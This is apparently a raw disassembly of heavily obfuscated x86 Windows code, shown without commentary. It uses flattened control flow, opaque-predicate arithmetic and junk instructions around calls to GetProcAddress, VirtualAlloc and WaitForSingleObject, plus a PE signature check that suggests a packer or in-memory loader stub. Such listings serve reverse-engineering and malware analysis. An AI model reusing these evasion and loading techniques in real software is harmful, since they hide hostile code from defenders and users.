mov eax, 0xbf508e32
jmp 0x402740
mov dword [ebp - 0xfc], 0
mov eax, 0x87637687
jmp 0x402740
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x15938b74
and ecx, edx
not edx
and edx, 0x15938b74
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x38328424
and eax, 0xc7cd7bdb
or ecx, eax
mov edx, ecx
mov eax, ecx
xor ecx, 0x9056a02c
xor edx, 0x2da10f50
xor eax, 0x2da10f51
and eax, edx
and ecx, 0xb856ad6c
and edx, 0x47a95293
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x9da776da
mov esi, ecx
and esi, 0x62588925
or eax, esi
mov esi, edx
xor esi, 0x5a15292
xor edx, 0xb856ad6d
or ecx, edx
and edx, 0x62588925
and esi, 0x9da776da
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov edx, ecx
xor edx, 0x5d64990f
mov eax, ecx
and eax, 0x41401904
and edx, ecx
not ecx
and ecx, 0x1c24800b
or eax, ecx
mov ecx, eax
xor ecx, 0x40000100
xor eax, 0xbebfe6fb
mov esi, eax
and esi, 0xb946786e
and ecx, 0x44208101
or ecx, esi
mov esi, edx
not esi
and edx, 0x46b98791
or eax, esi
and esi, 0xb946786e
or edx, esi
not eax
mov esi, 0x358b0d57
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf9685e9a
and ecx, 0x697a165
or eax, ecx
mov ecx, eax
xor ecx, 0x800cc294
xor eax, 0x5bf3386a
mov edx, eax
and edx, 0x2c803d61
and ecx, 0xd37fc29e
or ecx, edx
xor ecx, 0xd37fc29e
or ecx, eax
xor ecx, 0xffffffff
setne al
sete ah
cmp dword [0x4f6180], 0xa
mov ecx, eax
setl ch
setge dl
and cl, dl
and ch, ah
xor al, dl
or ch, cl
and al, ah
mov cl, ch
xor al, 1
xor cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
and cl, ch
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, dl
xor ah, 1
and cl, ah
or ah, dl
mov edx, 0x896d4f33
or cl, al
mov al, ah
xor al, cl
test ah, 1
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0x896d4f33
cmove edx, eax
mov eax, edx
jmp 0x402740
mov eax, 0x55cf45df
jmp 0x402740
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x14c]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xbc]
mov eax, 0xf5a894a1
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x18100884
and eax, 0x46c20000
mov edx, ecx
or edx, 0x249771
and esi, 0x18349ff5
and ecx, 0xa109600a
and edx, 0x18349ff5
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xa12df77b
and ecx, 0x5ed20884
or eax, ecx
mov esi, eax
not esi
and eax, 0x3e9410e6
mov ecx, esi
and ecx, 0xc16bef19
or esi, 0x17caf4e8
or eax, ecx
mov edx, esi
not edx
and esi, 0xe8350b16
mov ecx, eax
xor ecx, 0x3e9410e6
xor eax, 0x81400f10
mov edi, ecx
and edi, 0x17caf4e8
and eax, 0xafc40f32
or edx, edi
and edx, 0x17caf4e9
or edx, esi
mov esi, ecx
and esi, 0x503bf0cd
and ecx, 1
or esi, eax
mov eax, esi
xor eax, 0x8c000933
xor esi, 0x50386048
or ecx, eax
mov eax, edx
and esi, 0x73fc6648
not eax
and edx, 0xf74b15e7
and ecx, 0x8c0399b7
or ecx, esi
mov esi, eax
and esi, 0x8b4ea18
or edx, esi
mov esi, ecx
xor esi, 0x840311a7
xor ecx, 0x73fc6648
or eax, ecx
and ecx, 0x8b4ea18
and esi, 0xf74b15e7
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x6b55c60e
mov ecx, eax
not ecx
and eax, 0x25208464
mov edx, ecx
and edx, 0x50166803
and ecx, 0x8ac91398
or eax, edx
xor eax, 0x25208464
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x2e772982
mov edx, eax
and edx, 0xd188d67d
or ecx, edx
xor ecx, 0xd188d67d
xor eax, ecx
test eax, ecx
sete dl
setne cl
cmp dword [0x4f6180], 0xa
setge al
setl ah
mov ch, al
and ah, cl
xor ch, cl
or cl, al
and cl, ch
mov ch, al
xor ch, dl
and ch, al
and al, dl
or al, ah
xor ch, 1
mov ah, cl
xor al, 1
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x844c54a1
cmovne ecx, esi
test al, 1
mov eax, 0x844c54a1
jmp 0x414567
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xec]
mov edx, dword [eax + ecx]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x40]
add edx, dword [ebp - 0x40]
mov dword [eax + ecx], edx
mov eax, 0x5e219fff
jmp 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xf9793abd
mov eax, edx
and eax, 0x50201031
and ecx, edx
not edx
and edx, 0xa9592a8c
or eax, edx
mov edx, eax
xor edx, 0x40001010
xor eax, 0xafdfefce
mov esi, eax
and esi, 0x1e6922af
and edx, 0xe1101810
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe196dd50
or eax, esi
and esi, 0x1e6922af
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf9793abd
and ecx, 0x686c542
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x730cb928
mov esi, ecx
and esi, 0x8cf346d7
or edx, esi
mov esi, eax
not esi
and eax, 0x730cb928
or ecx, esi
and esi, 0x8cf346d7
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0xc1116fb8
mov eax, ecx
and eax, 0x1112980
and edx, ecx
not ecx
and ecx, 0xc0004638
or eax, ecx
mov ecx, eax
xor ecx, 0x1002180
xor eax, 0xfeeed67f
mov esi, eax
and esi, 0x42b3082e
and ecx, 0x81006790
or ecx, esi
mov esi, edx
not esi
and edx, 0xbd4cf7d1
or eax, esi
and esi, 0x42b3082e
or edx, esi
not eax
mov esi, 0xb840ea56
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc1116fb8
and ecx, 0x3eee9047
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcd98644c
and ecx, 0x32679bb3
or ecx, eax
mov eax, ecx
xor eax, 0x85000404
xor ecx, 0x30070391
and ecx, 0x789f63d9
and eax, 0x87609c26
or eax, ecx
cmp eax, 0x87609c26
sete dl
cmp dword [0x4f6180], 0xa
mov ah, dl
setl cl
setge al
or ah, cl
xor cl, dl
inc al
and cl, ah
mov ah, al
xor al, dl
or ah, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x196fc005
cmovne ecx, esi
test al, al
mov esi, 0x196fc005
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, 0x313ea3f7
jmp 0x402740
mov eax, dword [0x4f6184]
mov ebx, 0xdbff38a7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xd894eb5a
mov edx, eax
and edx, 0x276b14a4
and eax, 0x23533449
or esi, edx
mov edx, ecx
and edx, 1
and ecx, 0xdcaccbb6
xor esi, 0xd894eb5a
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x23533449
mov edi, esi
and edi, 0xdcaccbb6
or edx, edi
mov edi, 0xdbff38a7
xor eax, edx
not eax
or eax, esi
mov esi, 0xb367ad17
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x4f6180], 0xa
mov al, ah
setl cl
setge dl
xor al, cl
xor ch, dl
or dl, ah
or cl, ah
and al, ah
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test dl, 1
cmovne eax, ebx
jmp 0x402740
push 0xffffffffffffffff
push dword [ebp - 0x16c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg edi
neg esi
neg eax
rol ebx, 0x3c
ror edi, 0x66
add eax, 0x7a
rcl esi, 0x86
imul eax
rol esi, 0xc3
neg ebx
sbb ebx, 0x8f
sbb ebx, 0x15
or edx, 0xcb
dec edx
rcr esi, 0x6b
add edi, 0xd6
or edi, 0xf4
imul edi
add ebx, 0x96
rol edx, 4
imul esi
ror eax, 0x64
imul eax
not edi
imul edi
dec eax
bswap ebx
not edx
dec esi
dec edi
and eax, 0xcf
rol edx, 0xbc
neg esi
inc eax
inc edi
neg eax
imul edi
neg edi
imul edi
dec esi
bswap eax
not edi
and edx, 0xd8
or edi, 0x23
rcl eax, 0xde
mov ebx, 0x4e
rcr esi, 7
or eax, 0xc2
mov esi, 0x94
mov esi, 0x55
neg edi
inc edx
and esi, 0xfd
sub edi, 0x38
inc edi
add ebx, 0x84
bswap edi
rol ebx, 0x7e
neg esi
inc ebx
rol edi, 6
rol ebx, 0x2c
neg esi
and edx, 0x11
mov edi, 0xd1
imul edx
mov ebx, 0
bswap edx
rcl esi, 0xbd
not edx
rol eax, 0x94
or ebx, 0x8b
inc esi
imul ebx
sub ebx, 0xe1
ror edx, 0x17
add esi, 0x6b
bswap edi
add eax, 0x62
neg esi
bswap edx
dec edx
bswap edx
inc edi
dec ebx
rcl ebx, 0x7d
neg edi
and eax, 0xe
imul eax
and eax, 0xa0
inc ebx
rol ebx, 0xcf
or esi, 0x69
ror edi, 0xb3
not esi
sbb edx, 0xf1
rcl edx, 0x90
rcr ebx, 0x35
mov ebx, 0xb3
bswap edi
inc ebx
imul esi
mov edx, 0x43
imul esi
not esi
inc ebx
dec edi
or ebx, 0xea
ror edx, 0xd
neg edi
not edi
rcl esi, 0x9d
neg ebx
sbb ebx, 0x78
sub edi, 0xa8
neg esi
inc ebx
ror ebx, 0x7a
bswap esi
mov edi, 9
bswap edi
mov edx, 0xf6
inc ebx
rcr ebx, 0x9a
add ebx, 0x63
sbb eax, 0x24
neg edx
rcl esi, 0x45
ror eax, 0xb1
and eax, 0x33
sub edx, 0xf9
neg esi
or ebx, 0x8a
neg edi
not esi
imul esi
or esi, 0xe
inc ebx
sbb edx, 0
rcl esi, 0x1e
dec edi
imul esi
sbb esi, 0x2c
dec eax
add eax, 0x1b
imul ebx
or edi, 0x6d
and ebx, 0x8b
neg edx
add ebx, 0xde
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xb0]
mov eax, 0xbc9abddb
jmp 0x402740
cmp byte [ebp - 0x9a], 0
mov eax, 0x13eea6b0
mov ecx, 0x1bc51532
cmovne eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x11c]
mov eax, 0x88a5e1b3
jmp 0x402740
mov ecx, dword [0x4f6184]
mov ebx, 0xb585996e
mov edi, 0xe678091b
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xcbc4ab56
not edx
mov ecx, edx
and esi, eax
and ecx, 0xcbc4ab56
and edx, 0x304ce849
and eax, 0xcfb317b6
or ecx, esi
not esi
or eax, edx
and esi, 0x343b54a8
and ecx, 0xcbc4ab57
mov edx, eax
xor edx, 0xcfb317b6
xor eax, 0x304ce849
or ecx, esi
mov esi, 0xe678091b
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
and cl, dh
xor al, cl
mov edx, eax
cmovne esi, ebx
not dl
test dl, cl
cmove esi, edi
test al, al
cmovne esi, ebx
test dl, cl
cmovne esi, ebx
mov eax, esi
jmp 0x402740
push 4
push 0x3000
push dword [ebp - 0x170]
push dword [ebp - 0xfc]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0xef067433
mov eax, dword [ebp - 0x48]
cmp dword [eax + 4], 0
mov eax, 0x6fbbdcc4
cmove eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x1c0]
mov edx, 0x1330d7e3
movzx eax, word [eax + 2]
mov ecx, dword [ebp - 0x1bc]
cmp ecx, eax
mov eax, 0x85cef9ad
cmovl eax, edx
jmp 0x402740
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x74e55131
mov ecx, edx
and ecx, 0xbfd8b365
and eax, edx
not edx
and edx, 0x40274c9a
or ecx, edx
mov edx, ecx
xor ecx, 0x40254010
xor edx, 0x14001001
or ecx, 0x8b1aaece
and edx, 0x54001001
mov esi, ecx
and esi, 0x23e545be
or edx, esi
mov esi, eax
not esi
and eax, 0xdc1aba41
or ecx, esi
and esi, 0x23e545be
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4b392dbb
and eax, 0xb4c6d244
or ecx, eax
mov edx, ecx
xor edx, 0x3fdc7c8a
xor ecx, 0xc0238375
mov eax, edx
mov esi, ecx
and esi, 0x44d5b27a
and eax, 0xbb2a4d85
and edx, 0x9fe50e08
or eax, esi
mov esi, eax
not esi
and eax, 0xb683d6a
and esi, 0xf497c295
or eax, esi
mov esi, ecx
and esi, 0x601af1f7
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0xc3c0600
xor eax, 0xb04270ee
xor esi, 0x9fe50e09
and edx, 0x3c7c26e4
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x995bff16
and esi, 0x66a400e9
or ecx, esi
mov esi, eax
and esi, 0xc383d91b
or edx, esi
mov esi, ecx
xor esi, 0x18582604
xor ecx, 0x66a400e9
or eax, ecx
and ecx, 0xc383d91b
and esi, 0x3c7c26e4
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x10060044
and eax, 0x88802028
mov edx, ecx
or edx, 0x20099a00
and esi, 0x300f9a44
and ecx, 0x47704593
and edx, 0x300f9a44
or ecx, esi
mov esi, 0x690a0370
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x6779df93
and ecx, 0x9886206c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x62def9d2
and ecx, 0x9d21062d
or eax, ecx
mov ecx, eax
xor ecx, 0x400488c2
xor eax, 0x5010609
and eax, 0x27db7719
and ecx, 0xd82488e6
or ecx, eax
xor ecx, 0xd82488e6
sete ch
setne ah
cmp dword [0x4f6180], 0xa
mov dh, ch
setl dl
setge al
mov cl, dl
and ch, al
and dl, ah
or dh, al
or dl, ch
mov ch, al
or al, ah
or cl, ah
xor ch, ah
xor al, 1
mov ebx, ecx
or cl, dh
or al, ch
xor bl, dh
xor cl, 1
xor al, 1
or cl, bl
or al, dl
mov ah, cl
mov edx, eax
and ah, al
xor dl, 1
mov ch, dl
or dl, cl
xor cl, 1
and ch, cl
xor cl, al
xor dl, 1
or dl, cl
or ah, ch
mov ecx, 0x8fd68eb8
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
not al
cmove ecx, esi
test al, 1
mov eax, 0x8fd68eb8
cmovne ecx, eax
mov eax, ecx
jmp 0x402740
mov eax, 0x71b8f739
jmp 0x402740
mov eax, 0xd79d843
jmp 0x402740
mov eax, 0xd693f888
jmp 0x402740
mov eax, 0x6fbbdcc4
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0xd73d4203
mov esi, edx
and esi, 0xfffffffe
and edx, 0x28c2bdfc
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xededd076
xor eax, 0xd73d4203
and esi, 0x12122f89
or ecx, esi
mov esi, 0xbd0db1b1
xor ecx, 0xededd076
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4796b1af
and ecx, 0xb8694e50
or eax, ecx
xor eax, 0x4796b1af
sete al
setne cl
cmp dword [0x4f6180], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov ch, cl
mov edx, eax
xor ch, 1
and cl, al
not dl
and dl, ch
or cl, dl
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x113fdd64
cmovne edx, esi
test al, al
mov eax, 0x113fdd64
jmp 0x413caf
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x140]
mov eax, 0xa6c91a3
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xc
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x81b4cff0
and edx, 0x7e4b300f
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7e4b300f
or eax, esi
and esi, 0x81b4cff0
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x562cfac6
and eax, 0x4425b9fa
mov ecx, esi
and esi, 0xa9d30539
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xbbda4604
or eax, esi
mov esi, edx
xor esi, 0x4424b8c3
xor edx, 0xa9d30538
or ecx, edx
and edx, 0xbbda4604
and esi, 0x4425b9fb
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov edx, ecx
xor edx, 0x8908c97
mov eax, ecx
and eax, 0x19468f58
and edx, ecx
not ecx
and ecx, 0xe6b970a7
or eax, ecx
mov ecx, eax
xor eax, 0x900087
xor ecx, 0x8810
mov esi, eax
or esi, 0x97621160
and ecx, 0x8815
and esi, 0x9ff215e2
or ecx, esi
mov esi, edx
not esi
and edx, 0x600dea1d
or eax, esi
and esi, 0x9ff215e2
or edx, esi
not eax
mov esi, 0xa11df1a0
xor edx, ecx
or eax, edx
not edx
and edx, 0xf76f7368
and eax, 0x8908c97
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7ce62f09
and ecx, 0x8319d0f6
or eax, ecx
mov ecx, eax
xor ecx, 0x50e02808
xor eax, 0x88024
and eax, 0x2c0e8725
and ecx, 0xd3f178da
or ecx, eax
mov eax, ecx
xor eax, 0xc000200
xor ecx, 0x5250484a
and ecx, 0x725ecd6f
and eax, 0x8da13290
or eax, ecx
xor eax, 0x8da13290
sete al
setne cl
cmp dword [0x4f6180], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov cl, ah
xor al, 1
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
mov edx, 0xa82cd147
cmovne edx, esi
test al, al
mov eax, 0xa82cd147
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x402740
mov eax, 0x8fc62fce
jmp 0x402740
cmp byte [ebp - 0xa2], 0
mov eax, 0xddce303c
mov ecx, 0x91936f6f
cmovne eax, ecx
jmp 0x402740
mov eax, 0x325e9c45
jmp 0x402740
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x168], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x22c10322
mov eax, ecx
and eax, 0x22810302
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x400020
or eax, esi
mov esi, ecx
and esi, 0x2000100
xor eax, 0x400020
or eax, 0xdd3efcdd
mov edi, eax
and edi, 0x34c30eae
or esi, edi
mov edi, edx
not edi
and edx, 0xcb3cf151
or eax, edi
and edi, 0x34c30eae
or edx, edi
not eax
mov edi, 0xac723131
xor edx, esi
mov esi, 0xc64e2752
or eax, edx
mov edx, eax
not edx
and eax, 0xfc0045f5
and edx, 0x3ffba0a
or eax, edx
xor eax, 0x213eb929
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4d7799c9
and ecx, 0xb2886636
or eax, ecx
xor eax, 0x4d7799c9
sete dl
setne cl
cmp dword [0x4f6180], 0xa
setl al
mov ah, al
xor ah, cl
not ah
and ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0xac723131
cmovne eax, edi
test dl, dl
cmove eax, edi
jmp 0x402740
cmp byte [ebp - 0xa0], 0
mov eax, 0x31186637
mov ecx, 0x93f3026e
cmovne eax, ecx
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x8d539c8f
mov eax, ecx
and eax, 0xd438000
and edx, ecx
not ecx
and ecx, 0x80101c8f
or eax, ecx
xor eax, 0xd438000
or eax, edx
not edx
and edx, 0x72ac6370
and eax, 0x8d539c8f
or eax, edx
mov esi, eax
not esi
mov edx, eax
and edx, 0xf3ad3a85
and eax, 0x386e75a6
mov ecx, esi
and esi, 0xc52c57a
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xc7918a58
or eax, esi
mov esi, edx
xor esi, 0x302c3084
xor edx, 0xc52c57b
or ecx, edx
and edx, 0xc7918a58
and esi, 0x386e75a7
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x3e4c553f
mov eax, ecx
not eax
and ecx, 0x9300e040
mov edx, eax
and edx, 0x680a0e00
and eax, 0x4f511bf
or ecx, edx
xor ecx, 0x9300e040
or eax, ecx
setne al
sete dl
cmp dword [0x4f6180], 0xa
setl ch
setge ah
mov cl, ch
and al, ch
xor ch, dl
and ah, dl
or cl, dl
or al, ah
xor cl, 1
or cl, ch
mov ch, cl
mov edx, ecx
xor ch, 1
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, cl
mov ah, dl
and dl, al
xor al, 1
xor ah, 1
and ah, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb9f9a1d1
cmovne ecx, esi
test al, al
mov eax, 0xb9f9a1d1
jmp 0x414567
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xd0849d3d
mov ecx, edx
and ecx, 0x2f7b62c2
and edx, 0x75c648f0
or esi, ecx
mov ecx, esi
xor ecx, 0x2d222240
and esi, 0x20000200
or ecx, 0xd259d883
mov edi, ecx
and edi, 0xcfa6bdfd
or esi, edi
mov edi, eax
xor edi, 0x2da6277c
and edi, eax
and eax, 0x8a39b70f
mov ebx, edi
not ebx
and edi, 0x30594202
or eax, edx
or ecx, ebx
and ebx, 0xcfa6bdfd
mov edx, eax
xor eax, 0x75c648f0
xor edx, 0x8a39b70f
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x16dfda6e
and esi, 0xe9202591
or ecx, esi
mov esi, ecx
xor esi, 0x3b79fd13
xor ecx, 0xc48602ec
and eax, esi
and edx, ecx
mov esi, 0x2bbc3795
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x4f6180], 0xa
setl ah
mov cl, ah
mov al, ah
or cl, dl
xor al, dl
xor cl, 1
and dl, al
or cl, al
and al, ah
xor dl, 1
xor al, 1
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2ee0f02a
cmovne eax, esi
test dl, 1
mov edx, 0x2ee0f02a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402740
mov eax, 0x82572910
jmp 0x402740
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
setne byte [ebp - 0x97]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x5b1eadd8
mov edx, eax
and edx, 0xa4e15226
and eax, 0xe0136cdb
or esi, edx
mov edx, ecx
and edx, 1
xor esi, 0x5b1eadd8
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0x1fec9324
and edi, 0x1fec9324
and esi, 0xe0136cdb
or eax, ecx
not edx
or esi, edi
xor eax, esi
mov esi, 0x7eacdeed
or edx, eax
xor edx, 0xffffffff
sete al
setne dl
cmp dword [0x4f6180], 0xa
setl ah
setge cl
and al, cl
and ah, dl
or cl, dl
or al, ah
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor dl, 1
and ah, cl
xor cl, 1
and dl, cl
or dl, ah
mov ah, cl
or cl, al
xor ah, al
xor cl, 1
or cl, ah
mov eax, 0x8159b658
mov ch, cl
xor ch, dl
test cl, cl
cmovne eax, esi
test dl, dl
mov edx, 0x8159b658
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402740
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x7c]
setne byte [eax]
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x7b6b65df
mov eax, ecx
and eax, 0x516305c3
and edx, ecx
not ecx
and ecx, 0x2a08601c
or eax, ecx
xor eax, 0x516305c3
or eax, edx
not edx
and edx, 0x84949a20
and eax, 0x7b6b65df
or eax, edx
mov ecx, eax
xor ecx, 0xd7cf2869
andn edx, eax, ecx
mov ecx, eax
and ecx, 0x2830d796
and eax, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xa9cf676
and edx, 0xf5630989
or ecx, edx
xor ecx, 0xdd53de1e
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x77406806
mov esi, eax
